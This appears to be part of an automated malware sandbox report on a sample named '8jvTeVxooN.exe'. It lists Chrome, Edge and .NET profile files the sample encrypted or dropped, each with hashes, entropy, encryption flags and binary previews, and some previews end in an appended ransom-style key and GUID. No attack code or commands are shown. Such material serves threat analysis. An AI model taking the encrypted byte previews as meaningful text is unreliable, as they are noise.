Preview:	.X.%..""}..I......,vCt......X..7.u.(..'....=.b.....-.[..q..8(.l...S.Wn.fI~Ps...O.\.`~..g3.2.._qi.h.A...$n..\.=!E.?.K.AF...=.>...4.. .:Q*.s.,.&....\|....Tg.c..T..K.....6...e...z......)/.wpw.O.Uv9..OR..h).....-.?....1fto..K.. .5....;..a.8..Kw~...6!pV..}.7.d\.%.ZC.......F...4&y.....N.....l..gZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2713
Entropy (8bit):	7.924480429692889
Encrypted:	false
SSDEEP:	48:uSPwocDdCysySeCS12oFSJFVcQ978co3aVTK9MTbQwJJ7tD:kocDNsyys2oQJFVcutoKhQWJT
MD5:	EA4DD88DC7DEB3F05953B5E11372EABB
SHA1:	BD531B007A813CE54ACCF7AD1C0430BE1A9A484C
SHA-256:	1617C72DEFD9A28038E993EFCB2B92F2F9EA31ECB01CB3A2F479FB0A39458096
SHA-512:	55D38786D30E0C8A6C339F6ADFFBC319A37C46B4815E2B0AB0EDABDFAAA9862C56011374EA0AB07CC314F5E7AE47CA148D91AA564E3236E6D3AA9399FAC95FF9
Malicious:	false
Preview:	...#d..4...Cv...4+..6...9?.`N...%.<...J/....c_VM\|g....M.0..\|=..E.f.... .5.EGiLg'.R......d.g.1...O^/.LB.h.{]G.C..3.3..jt'a0.-....!H..]...=1...$..(}.e.[U\C;..(4..w.w5-...&.....+..(U.j;...N...c....\@eD..$$...35>..zB............b{.....\|...w..H...8A4..."M.H.i=.......^!......{....."9I5CF.^...6..g.!2..........y.{.0.Py.....M..W......c.......6....J.k.2h../<(@.Bx..eo..j.b....r.-Vn...h0D..p..4.3.d..U.\|sY.@)...X..o,,=.Ds.z[.O...^.....W.......S..g.sJgn.....o...........f+\|..EVx..H/G.=...{......\|l...=R....M st6.hj....=.=%..Ec.>i..r...-..#%.l.4..s;$o&O..Y......?Oz.(...&..0.0a.....%L.zB...K.M..G.. ...s.;....C...z.!._....tzQ...M....bCU.F...e..DTj.IM..w..{.'l.L.8z.gMc.........)...hZ.t/..6.z...y>^^B.,V.....X.M.l.ZA]...W......R...OI..BCd?..o....!....j..b.M....b....X.9\|.......y....Q/.;f.=.s'..@..P..f.Qng-fdj.....b..=P{b.C...."..+. )e..U.....f...:.](g.@N.h.C..y!....O..xZ).&.y.....-...=.kP3.Uv.....*K..)....a..S1.....Q6J....R.Y[.Y2..>.e..\|W{.dp.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.631781744779557
Encrypted:	false
SSDEEP:	12:kLLtmMnF70EO3p/CFHClbRHm3wQgwmHPETwVZayaBm3f8sr36eYDXkBfKbuOciik:ARF70SJClbg3PEHPE0VkyKmPoktKKObD
MD5:	607C02E50312B9368E6029D06C679838
SHA1:	38542B5A170A25CD7E65B9A15F39447512B59E09
SHA-256:	334911179ECD793F55A556EF428920271432C3CB16076E0B7D9C7C4CFBE3CDCE
SHA-512:	437DC2EBA01071BA18E42484D24D8B1603C1678CDB0F9EC5DB0847184FE4C90DC1DAED41C37F89B04CEE0EFB4BA3BBCAD64E563A95FAFA9451EF720CA71C0F22
Malicious:	false
Preview:	2023/........(^.N.V....F.........iE...R@.+&..Ao.p?.m_..@......:~.3..y"l..pq.\|...n.!....~9..O..,.~..4.f?.[...<...r.>.F...'.M..i.N4...w..Z>.....G..@....._..........bj..w&....7...#..R.Y.d.....#...A16.0..t.O...$I..=.U..Q.2t.q R....e..;.....Q.....x..fI....n.S..+..L.M[..j{...#....M#.Tm.~..oO.'k~...E.H.....Oj.9j5t.)..)$..&}.~j.dM.....sZ&.A...?e....i-..T .s+4x[f..9#..a...L.},...0...)..`.z..v.C..kN>........&.,<...:.ZdR.:D..C.............k.z...a...#.K@v.i.eR..U.f..4..E....^..k...1.W.lJ#._&..K.Nm....){)l..e..9.{.x,B.D=D..s?...;?../..uk.\|..........7?D.N...G..vZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.518891271475767
Encrypted:	false
SSDEEP:	12:7inEt/C5ZALzfrwihjor9cHwX3LXvuOcii9a:O3ZMw8jBHwGObD
MD5:	58B8424991352AFEB2C6D2D155DB033C
SHA1:	8FB469A4CFE638860917506A80A520AC99678607
SHA-256:	2AE51C02E0DBD33DFE882DEBC5554DDE3C2F36160FEC7108509AAD89D9DD446F
SHA-512:	982BABD479ABACA16D6B4A8B4D2F7C9D5A4A13C19F2B3055A3C50C26D7EB3C3F87D3D88801728BB795C102CE469D0C40E6488B5E03FFE0D3509A21224DB36E30
Malicious:	false
Preview:	.On.!<."<.[..<qA...n........)h.9E.}...F.%..FrS".....D4/..ML.......y\|.2du..Q^..%/..j.."<.qC\`g...D.n..'...JZ.!....eK..h....ZX..e..}......~..g..@~.J........t..T....A.....3.,.&.i..e.4P,..........3L(...<..G..^o...._.h.U.....hYr...^...Y.{...+.(A1....V+0. .$F.$X#.E.Q..`....C.....H.k.yoB...q..7...j...CUP.k.s.j...F.?g.n...E.$....Z...M...Z...5g>.X..a..f.tL./kZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	682
Entropy (8bit):	7.665403611702001
Encrypted:	false
SSDEEP:	12:kd/N1LtNHJ36UczlLcKOSzqfAQobcrPWCxV1Cpa96YCZ4jeMpHo0pO3K102CYz0b:k/NpfpNcSKvGf/FPXz1CcsAoiO3fqYaE
MD5:	3E2338E1D5BDCD410E62E87C3ED70184
SHA1:	787C6BF34AF2D2321598240F2E7431429E70075D
SHA-256:	560A798C67166DD51B12A8283234ED009FD153E4F8C02E3EE116D86C40185784
SHA-512:	BC6292BF431D478BB8B7DC327779A13EC6B62C502B0510E441CDF8770CAB82636D9AE10E9BF10F2E4EBD001179B521A680B4B56E7368A468FA94B61C26A8AA20
Malicious:	false
Preview:	2023/...x7...4u...X(...,.}... ..c>.@.'3o.'k...%...\|..............g'..j...n.o..n@s\|e..>....AG.......]h.....q^..~w]...C...D.4.....\..t.........$^<.....k.rib...r...\R^oPY....w9Q..b...K..[..........5<F_.[.1(i.Ry..3j.w...<:.<.\|..Gv.....pJ......N9.E;.Q......WW..B..M.>.&)L.[.).....^<..'......0.......5<.kq..;C..&.kn."c..k.k..4.Mt...x.?\|....8..3....h.U.)I8.ei[..3..U...y......$K.r...O..\|.\|....(..\...b..-.X.e..d.%e.s....lM......'..6...m.\|..$hm,8..n:r>./.oEN;..<..........h...-./D\|....!.J......1..5b..NAp.P.zq....!.L%.].9...a..uX..q=.^$E.S....lb.....E.c...h..T1..x,..O...p?..].....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.993337669162836
Encrypted:	true
SSDEEP:	768:kDA9Ltc0+QgbNIZ8Lhu919Vt/t1kiTKrXM:iALUbWZmc91/f19WDM
MD5:	FCC8E6A6FBF3F65ABB1604A29760938B
SHA1:	BF7ECBE92A75750BF7D396D224C01708EC8EEA90
SHA-256:	33925836CFB156F199A6672926CF7BD5EECDCAEC6B27EA6FDB3DB35FE91680ED
SHA-512:	3FD2203473D439F0D866A304BEFF28192664E7226B5B474B95AD7D752123230738FED17745B0BBB511A159DE736EC330A8089851C6470F6A72825F0AEA6144E5
Malicious:	true
Preview:	SQLitE.m..a....n=y?;?).....B....i...K[5.sl........K.. d}=.`:..............S.j......-.V?.F.L...i..........R9F....."...`.X..}.V[...........(]....0.u.IbV..........F.....I.. .C.j.FyL.....}.Ri.!.{.<.#......J.i.P...H!d,.B.km...8.~..k.....:~+.c..!.x..q].=..X(...w.A...G..;9z..4......C.0.\|D.....$.........Ys~`ZdA.....J&.x...........KU...u..2.....8..7)..)......0..h.kbqr.\ .C@...,.l....[$...L...\|2...bv.:....p.d..4.n.....Q..z0[j..M.2S....b....h...2..C.....{YV.X.Y.O.H..`c.k6C.z.}......G\|IQ.z._"..`.8..2<..{Q..<..x...fZ...m....iU......p..+?W..!.1Wq?.[..#.....M5.3.D..^..i.....w.G).r.b"S......._T...N..(.............8....&....+.Y...F..AFWq...q.....D.4.y..JRW.t...1..e[T.J.#7...zp U..BB...:..S~aB..3.%.FQ..B..&1......E....U...g.0(mX..ja...~.2...K..~J3.=.z.+#..Q..........<:...= .h..$.....o..BzyY....6]..Q...f...k.<......8..i....^..F.7......E2L...2h... ..Q(..........:(Z.......9S..<.[DZTd[.pW3.?&J..C..H~....D..j..q...........-.L.HRy..K....G........N.@

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	77068
Entropy (8bit):	7.997786231953518
Encrypted:	true
SSDEEP:	1536:iTHuGdEKJ7/exCdKYuQn4WaIXyHFOU0nDOT:OHuG6q71khQn4WaIXyHFwq
MD5:	1F7A7FC96A9D83C4A6C00FCB9E74753D
SHA1:	ADB8B8B5FD4A553563430527BA204A917A06FA19
SHA-256:	4998BCD86A8F45A789557674CEF2A85909F0FFED158FC89FB0922F11FD8705D5
SHA-512:	8BFF21DB6DE1196C830F2E67C39C478B6CA95A5CC2ABDB6D8A49FCE3486D2128303CF34B5A899C4501C336F8348BDD24548AB2F9780F5F7A3FEAC9163EDEC9BF
Malicious:	true
Preview:	A..r.v.[.&#..hvt.K.....S?.X.T.p.r..W2I..p.....d...)X.g.....}_P&`......:.u.@.c......J........9..W..{....O]7y.#..&...~.a.....D.~..h...T..n.E...X._...)....sq..6R.....T......=T.....3.h....M..uh.7.E...O.t+w...<`.<.....KE,.O.&'.P.8.c._+...Ps.l..y5-.........O....W..J6.{^F.-.s..o.......n.ZPv.B-./.....qT..>.N.7.#..b...;a.8..O.b.QEi.F}...{.b..m[....9.L\|.z..\@G.8..z3.;}.i..].W.s.M...}....7.......'."%d..m.J..&.S..... ~.d.}~...s.p.6W...1....2+?...g...V..D.R......u.DNPC~#..@..9`!...b_............^.....A........jK...f}....<..-..#...".....h...v^\|~.60...X.a....9.9..=. (?......Z...."...F\|}.._.......Z.....@.%.h..rv.r.j+\...\u.F...X....jd)P.0U0`..}. ...5}i..@.S.....%m..;Wp.mS.g&1ER.o...Svg.._G..{r...I....vQ.0..........fv.%......d..W2..v..V@......&..z..7.;..+Im\|..D'.;.....D....dQ{.r.x3]uh#......wu..V.YO=..>/.VFU`..OX.....U@X.'..c....od.......t..v.9.uRDC...$.gC..mnf.>..JTzC.y2.......]jxl...X.b.w...3/......?...^D..#M.)..8k.b.....--.(.2.J4.'.9$ZX........0y

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.6475203884170755
Encrypted:	false
SSDEEP:	12:kQqzW7cmHWvN/ilhPlv636CBfk1MEjPvscUQHjSKCdwvo/uOcii9a:3q1mHiklv6KCK+UEQHjSNwgGObD
MD5:	A064479B26B62A4C39ADB5EA551E2344
SHA1:	419D6D898EDFF14651EF5F1DE11021F5E51F1776
SHA-256:	1A9333819230B1370385FC8FC9261951E39FB817BB7668CEC9638205CF22B828
SHA-512:	E2DFF5D3FEE5F610D484D62F3EAE2B7CD344E3DF125CB99C883E25467BDEB90BD2D9C3F51A82895258555DBDAC8E320E5B59658FDDF1C351197205FFA0FF2A7F
Malicious:	false
Preview:	2023/......A.....{.)3.Bl@.^..k0M..e.O]...+....@Qi.r.z.q.......}2...u'.q#.9?.............Ng.S.Z.%hs.[J_..b.^.j......`'S..o..y.'.g.`..D.){..s.Eb..Z1...;...9....j......r....@.Om..R\..Z.8....9[.k_.\.......d..(.,...?+b-...S._R.C3.<........p.b....i[............. .....>...(+`j.....+..PO..1. ......3h..0..m...)....k.....jg...BZ.{.`......n.<...V..M1....d..gg.j..m.j...@...o&u&.k..zY....y.....}..Rm....^.r.`\.w=.....w[Zq#X:O:..BT..}..=...'...'...k.kr.{..h.....U....N...>...GY.........m......k~.e.b.bl.L......I.z..Si........6.M.S._....v..k....;>.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996555990984657
Encrypted:	true
SSDEEP:	1536:aVBU5lqk2wAvLHCooM++yw7jiil+zzjIVjo:/5KwAvjCoZWuGVzjQjo
MD5:	95692CF775BCA88C8ABF7A801D49C3BC
SHA1:	C8A77E31AF58261CE48C75B7112109577397E933
SHA-256:	98167FEB6ABA8F1DDE8B2F5A324B04C7BF95EBF5FA4FA86E59E3E179C1283EA1
SHA-512:	77C8C5C2D24CD9835AF1875245030D365D0D47EA14ADFDDA5AF0A798505E94A659F89793441BB892E2C30DC225D510EB3E664B7F12FCD0FB2DD8EB07D702F96C
Malicious:	true
Preview:	SQLit.m?y5(._l......e{...\..B..S.I\.S.......lB..k..K.!9%...FW......tm.......;a.y......?. (.._.hZ...i7F....r..pSu....`D&..o...w.h.-...?..F..`.K..'.....F..+d8.f<.(.5........v-..'5...B..\.BS..H.w\7..Y..H.8Io.N....@.Kxz...QI`oa.(+....T"/.m.{\|>.;}.....N.y......M..v_...,..,w11.......b.0h..q.....~......OWq..},A......=s.c.Y.....a...,....Bu.g.c"U;...S....8.r\|.O.I..g.N.......X.xm.v..1...B.&.<n..7.p{t^.o.].@5.....4$~p.}....C.-..G[X.<.H......?d$m..5y.\.j.........M.t:U.k....f.i..MWA..`.9P....=.&.U4....f01c..x...@FB..X...\|..Z....L^T.y.R..X.(;........839....._...;....U.."..SN.92..\|.qw...IHM.\|.M..\|.wvv,.(.)..*.R.>:......Q.....z.._...@.v8...../q^..".`.;/T.....doe.......6...9.M..}.S.B...9c.s....a1qZ.hF..w.d.x........?l.M.s..v....,.6<.hEf.2t..9A...6...l.I{...J.nj....{..^...0..z...9.N8g.......l.t~.....k...:W..;k..>....6;@.up....).v.Y.'...U...d..@9+v.....=\|.1..".6..-...<..t..u..3.<...4.7..zmFn!.-....S. ../......u. .UHc.[.B.._i&.).....]..u(....-!.$

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.277416957193617
Encrypted:	false
SSDEEP:	6:QOel5/inT0RIJhiUbXdFJXj+eqasxoxOGcww0L0QMS0VVCHfuBscii96Z:QOp4RChhdv+eqaskJQ/S0SuOcii9a
MD5:	4948E778B1F42A3E7F344BEC4BD6854E
SHA1:	66C1F83DD581D2F6B8F36268A4F5534619AEA05D
SHA-256:	94D1B034162585D889CDA1CAEC9006EFBDF3CFAB5B697AFA9295C3FCE75F3D6B
SHA-512:	A2F10D977FD82B88CC135857DCAB7D2DCCE83948DCC3F06D32D770DD9B43C1EC6BF13626AB2B6DC5FFB1128E9C873923342CC4BF962C8A5EC7F790BE50B53EAB
Malicious:	false
Preview:	1,"fuG. ..h.3....J."..M..../.:..0B.j..y..j......OL.d.....%.t...(yl.T.[...HB....@..b.Ppc<_.s...y+..].......v..'\|.....,. .]/F........]...9F..#....)...h...r..... .(he...OB..Sh.:.....O........$..y...e.j9]....J .^...G.}R.. ...:5.u...,E..........q..&...g..H..>1....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.845920801430727
Encrypted:	false
SSDEEP:	24:FjGTMqG6V7b6Lv0AGSewr1MsMcsLaWv14GKEnH7o1TUGPuCIskRUObD:dGMH6V7Wb9FTasM9LlvtKm7ohUGPu33D
MD5:	E251175BB1495CD4A3B26F69E7C06D8E
SHA1:	2567919A715375D3341144A05C44A9FE229AE4B9
SHA-256:	29187F4349E69A50CF0C9DCFA7DA1E2F5187FFFF229F5A75303C8C6843FBCB39
SHA-512:	F66C74AC216748FE0A3189E0CA979835A255A8A92923E88FA3B1B7F6D719DFDB10770ECB0D775270F5C9EDE2E94CBA4933D227567280AB56DF393A613BF50CDE
Malicious:	false
Preview:	1,"fu..Z+...6 .MmO..~MD.W.{....G.Z..B>i..y..v... ,.9..XYv.....6;MP.g.A.4F.).)j.x.Ov.X(?.S,pY/.<L~"~2\......A..~[.....}o.t9T.}.]......Ew.pE.E$.z...0@.C...aJ...3@.p....j')...ho..I$J.Iy...a.D.i;....k.A(...^......@...M....6.j.......^g4&`d..\...2.h.t..<..m.&......P6.....d.w;..:...E..K..u.....`KE..6.w.._.e...%K...t..?.u..C.7...=W.M-...lP........RQ\.....C.0.RWLu...Y...#...o.\uk.._....,(..{q.e......=.ba\:.....P../.R.].B.+.kLk..XB....S..j.'TQ.....{M).Z....G...RHVP..,..f`...a.......T/.i..A.[..{NWL..n..cuy.!.........).4.[.h....S8.^.....^.~.if..v.w.r.B^p<...4.7..............Z/...sj.9R.W..A.".}.........`(..du.\.yB.......i...QrO....^5V.)d.4`.0QD....4?.V9.:5........U.`...._.b..eaV]&.c.8=.F...M.X.D`..&n..)...GCW.-.sz.........._Zf.x..+.l..C..o...fS.....d...+.0.."=....G...[..n..G..g.~...[....Lf.tK..c..T...1.$.{&W...,..B!.r.......{.&.-.*k...5C.]Um..6....}.4...b..f.J.B..4..Lz.\.E~W......v...Q..W.j..0zN.`(^~...D`=.7s.Y..wI..>p...0....5...P9..#...HG..s6.n..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988861929103896
Encrypted:	false
SSDEEP:	384:3EMs4ey5bnyFNc1sjTOghDuoEONE/mii/GTAx9s8/P9wk:UMsW5b1sXOZONEL2/P9wk
MD5:	97AEB1608318FAE9AF21A86BC5924DE2
SHA1:	A4F3908567509C18964488F443B770EBB11B17D0
SHA-256:	BA0AA0ED52134A2BC1CF2D6BDBE285C6B9A1C54D80498634EA74FD448BA9FE0C
SHA-512:	0D83584258AFB5A516634B184113DDCE01930402BF9C2723B96FBA85A67121E040216740F26AF4FB0C4A36A319594446B685078A8934420D500C5C4A03EDF945
Malicious:	false
Preview:	...@..Q.r......U&..i.....Y.l.x.G6...B.sud........M....8/q.9..t......@.vA..&..3.E.7....!.c......f.uS...Pd}tu.<E\2.]<.Y.yY.f.F.>.Dn..u.....>.;.<&9..?..j\|..k......fn..ex.6#...aA.F..$T{......._..sAY.m.E.=.5^.....\|...w?R=_.)...,kv.x...!..=.p.e.:.PP..........@...{uK...']...Je.V...;...D%u..^_L.Ywk..N...\|"8t...}...\5j..u.+4....z...[.F..kD..#........,..K.W.]..+..>ks..>..@.3b.$...'!..L4.....`..K..d....5.].Q.....,.g..6..i.....h.C.........}..=.kr.....].J..H.......K...)kcJW.G.S"..b...m.#.Gz.\|.:4?i..R..FUHtC9.D.:.6.-..J.....2r+...g..kvz:.T...D.L....V.........yj}.........Q....1..S....X... ....IGY...p[.../8.1..K..."..x.k...ILI......M.,....l..!Q..?....\|....(..Kp.V.o.1l}..4b...B.Q..3=_..-nH.n..5x^....WeM............`..\|`.k0.N.\..Q...,I....F="...../,c.V.B&.....f.RV:...z.X1..DY$......_.A)...Q..:....._.X.....u.....{.2Un..T[.o..r....,?...k....y...u,^K....I.B..4F5......%.D.Z..M..a..hO].rE.[.~..."0x$:...........nS.&"$..... .M...._' .....Z.X.kc...X.....Hs._.T....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	904
Entropy (8bit):	7.775072032966521
Encrypted:	false
SSDEEP:	24:dDxRZaLMuOCo+CiVQSWd978A9RG04rv1bXqf8wkKYMUzRbaObD:HR4OPs2PTfqh4pzY/Rb9D
MD5:	7463EFC6C83E0239DEAEEFF5C403320B
SHA1:	0ED73F47D7206F5CD537A9105C34C6060DA17715
SHA-256:	D09B378ADD56FF1596919AF827BCBCE5415ACAE859CEC5F3F8F80185A15C3C3A
SHA-512:	7F8A1F8B27A69169C0D9B81FAF0F54262341C46D0DF5A5789B7E4D2C3516305051CE7BD20CBB92124669DFFFE85ED41984EFBF2411A66CB3B8FFD158A82BD108
Malicious:	false
Preview:	.f.5.`.K..3..?.S...........x.f...U..%-t..-......j.p.....QRhm...n.Cl.@+%..3 ....k..W.i...Ao.0.A.......\|......k.q=@....N:`_R'....A........V.W..~....i.>.j....+....{..4.XJWU....Hj#...^..5QMId...I.".;7..y.O\........9E../. .lG....0...W......{^@c.....FF....M:7W..Y&.._...{nj...G6.J.5.9.b18....O....EQ.(..]F.h.K.U..<..g.....D.u...T...J.X,.0..T,..\FL.....O..t....P.....mC.f...<i...0.....R-..:.!...zd. ..ij.)9...:.7...)...V.U...AJ".....q_.I....}.......v...5.q...C....~.&)...v......JwG...z'/Xd..PY.s...0......_...M{V....e..U{k.P..%.v.UZ...Nd....-f.....OK..1.<...l.G...X.Q.-..<>.F....f....Z..Y.....g...j*............])!..e.C9..R.Y.m} .d..iMf.....@...$Ma.....l.....$....4.&...D..W.?.ER.>....\...&.e.~...a.....G.V......QB...[.9?Y..a.f.a.g.`.lH.i..<\|z....c.......^.7G.F.........)K.....]Z....:7Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	490
Entropy (8bit):	7.510899816990921
Encrypted:	false
SSDEEP:	12:SyUyK2mQBje4jdUUgpFLkd9DqF/HWS7aOStCtcWuOcii9a:pKYJeIdUrPgDIvYVzObD
MD5:	CFB8D9CB4AFB21BBF39938731BB08F0D
SHA1:	F1E3703015D60EE8CE8581FF75A4DF1CDF50CD57
SHA-256:	49A65F461DDBAA9D943D35D2733C52515EBF481B7F93F20A459A0A896085DBD3
SHA-512:	4E67F36ED400CDECEC70A9F97C4049747C91C6EC53414307F58CB5A02F6DB3803F55EB0B8E085E413374713598C43114C327A1281C6B175BDA722771CF66FBB8
Malicious:	false
Preview:	...#@kE..b......(6>.e\|.R.t..o.5 ..7......\|..s.>..::.7a...+....9....../.e...!}/9.r........7..Vg...`.eh..j!.V.*l.zO..=.w.A.....X..gs......Gc.lHV.v.......(......Y.KU..7....i....^vq...._Li0&.....$v&j.!..l...L..BHF......y..T.74;8.zn...9..kpUV...Xp.^\d..................K&p..HjU.].u...8&.e.Q........<U.....K.....+...h.I....N.r........9r..".?8...'X..94..Br.......a.!5R.(...\|.xA!..r....yG-K.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.277433188772583
Encrypted:	false
SSDEEP:	6:8RG9eoAYi/65oJYwoVkph25U2kU0sFp5f22UBaLiYHSX3L6YcN7qx9wuBscii96Z:H1AYO65HQLUU2d0Aazc+GSX76YcN7Uw5
MD5:	F72A5C88BBC8C7657592D397B6D9E062
SHA1:	2830D19E29A89AE16F6886E528527E58A7206939
SHA-256:	A0B904BB1243D0741C5ED90953E554F2EF2016D46C26FEC88207B466921CFECD
SHA-512:	92799E925E2492317DF69CB22540D30EE296DF3233E03983AD734CD0A0F0E0630D25125CACEA6DF9FE9C3690017D1A5F3023F13AB59D01F65EDF92F85A7C9915
Malicious:	false
Preview:	.On.!8.....t.Hm.W.K...u...........d.w+.2Z.giF....Z...h.E...T...-`.Y....Mb.\.{.im.......\...w...T.Z..s.....0S...~..R.8..&.Up#~w...P..)>..X.......dZRzY.V.k.8Q.oU).&...........x".=......qz.#..d*..l-.uW.5R...>....&...u.....?r.\.u.QXc..}y...^.cK.A.q.b.K./...z........9...7z7.-...Z..W..^.+3.iZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	684
Entropy (8bit):	7.6000082300165355
Encrypted:	false
SSDEEP:	12:kiNRVMxrbQz/QrsYVQY34HyrN9tmnwZRiGAS0Ak8P0DuJ24BMLPL3fuOcii9a:lN4OkVrHN9e6VtPOm24oPSObD
MD5:	86EB0F869FDE2D19537B78DFBFCBEE7D
SHA1:	D00E8013C46AAD94D84F4EB2E020B9C6101D6E62
SHA-256:	2E452953AD862D5316A134B7B553A19D0F3849677AEBCC2E47B5FB5FCD9B6337
SHA-512:	DD936807055A4DEDA66ECC3B25DE009D570818C1F00407E660EBF3C1EBF63EDAE7D3A275110A7D35296DC20935B183EE3F9535BF7084BAEAC91C5F1C227009AB
Malicious:	false
Preview:	2023/\..."8z.ZZn..>Ez...#\.CD...C.".iUL......z.W.,.DtN.......vH.r..V8..v2..{q..>.D..n...H..Xo.c}7..a..;T!......\cg..>.......:..1.L.g?.....v..N4&i.K..CN3.i.VmP~e...t..c.N...H.V..........,....1.>..\|.B1dRz..ZG...$.Xo.M..H.X0.\R&.2..cHz.{RRr.L..x..X..>.7.%.A.....[...=')...mg..]....P.ck.L..Za....7....$..9Q....F...:a\|...Qp...K.b...6b#......."....;..XO...~d.I:...S.z.E.W7.VdP.{...D..c.d.`...dU.u\|. ...1......p......6.0...'.#v.478.'L..Oi..=..y.~..H/.hZ...}1..w^.KC.=.VS.....]p.+.I.B..s......g.....N}).J.h?~Q6.@N\|(..7.J}....I...........1.^......T;Mg-...Ma..i....pI*r.$..x.,.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	129419
Entropy (8bit):	7.998476066143013
Encrypted:	true
SSDEEP:	3072:tF+JR5DOWoJ/n19SR7PkSR1IAT+n/nrfjjrZYwKdYaknsE:tMvFB2nrvVYwKdY5nsE
MD5:	6C16ABA394176BDE5D4F062D66B207EA
SHA1:	4B12FA315325CE1EFAF41D94E1127DA7F3B52931
SHA-256:	B2965BCCA6336C93A0ACA693EE9B5EA35A733815023C8A084CC060AEFE5DE407
SHA-512:	F356C07FDCBA69DC24A395625041098695038174A2FC1D0A20D54827195617F5C2B8D77A7CE51488FB3869E12A13FCA9312E8EA7A3571F33613989306C12BF5F
Malicious:	true
Preview:	{.. ..L. ..CZ...`v.bm..8O..".4:...^=$....w...'.Z.t~.&U...).K.....6n........~#ja..:(.....~G.2c..\......-..Q...Y....a...S..z.......<....b.Lfsk...\....... ..#E@%.W...q.P$.`),.....6.&+..x....I.{.l.B.(^.?.{.k+Q.z.B...9........t;y:.1...+.E...[.:.......JJ.d.M...nI.......S....m...1S.....[..i....d.O.X.'..s./..`2.7.[c\.apK8.......N`..K4..i;...E.'......3....6.h!)..I..g.NZ.B.Hk"G.TVP...B4.........O..;b.`!.(.B.-v..\l.....H....L....~...7.X2..O22...F.!.o?9C..{d...[q...gK.).,..}...u.K.d)e...u.......I.I.%...Q....d..1X?N/.....c..V.G..T..?.&..+v...j=N..C..T....A66..............V;.\L...M.By...I....S7.#.7 